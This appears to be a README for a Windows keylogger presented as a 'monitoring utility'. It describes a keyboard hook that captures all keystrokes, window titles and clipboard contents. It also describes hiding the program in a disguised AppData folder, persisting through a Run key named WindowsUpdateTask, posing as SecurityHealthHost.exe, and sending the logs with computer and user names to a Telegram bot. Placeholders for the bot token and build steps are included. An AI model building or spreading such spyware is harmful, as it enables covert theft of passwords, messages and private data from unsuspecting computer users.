A high-performance utility for monitoring activity in Windows. The project demonstrates how to work with low-level system mechanisms, hidden file management, and network data exfiltration.
- Low-Level Keyboard Hook (
WH_KEYBOARD_LL): Implemented via a system callback function to capture all keystrokes in the system. - Context Awareness: Automatic detection of active window titles via
GetWindowTextWto bind actions to specific applications. - Clipboard Capture: Monitoring the clipboard when using system hotkeys.
- Self-Relocation: The program automatically moves itself to a hidden directory.
%APPDATA%\Microsoft\Libs. - Registry Injection: Autoloading is implemented via the
WindowsUpdateTaskregistry key (HKCU). - Stealth Mode: Using the
FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEMattributes and working in the Windows subsystem (/SUBSYSTEM:WINDOWS), which eliminates the appearance of a console window.
- WinInet API: Using native Windows libraries for HTTPS POST requests.
- Telegram Integration: Automatic sending of accumulated logs to the Telegram bot in the form of
.txtfiles with identification of the computer name and user.
- Input Layer: The system message queue is intercepted by a hook.
- Buffer Layer: Data is accumulated in memory to minimize the number of disk writes
- Storage Layer: Logs are encrypted (optional) and written to hidden
.datfiles. - Network Layer: A separate thread (
std::thread) checks for internet connection every 5 minutes and sends reports.
- Visual Studio 2019/2022 (MSVC).
- Customized architecture x64/x86.
In the main.cpp file, replace the following values with your own:
std::string token = "YOUR_TELEGRAM_TOKEN";
std::string chatId = "YOUR_CHAT_ID";- Set the configuration mode to Release
- In the project properties: Linker -> System -> SubSystem set Windows (/SUBSYSTEM:WINDOWS)
- Assemble the project
- Terminate the SecurityHealthHost.exe process in Task Manager
- Delete the WindowsUpdateTask value from HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- Delete the folder %APPDATA%\Microsoft\Libs
Created by acidhood999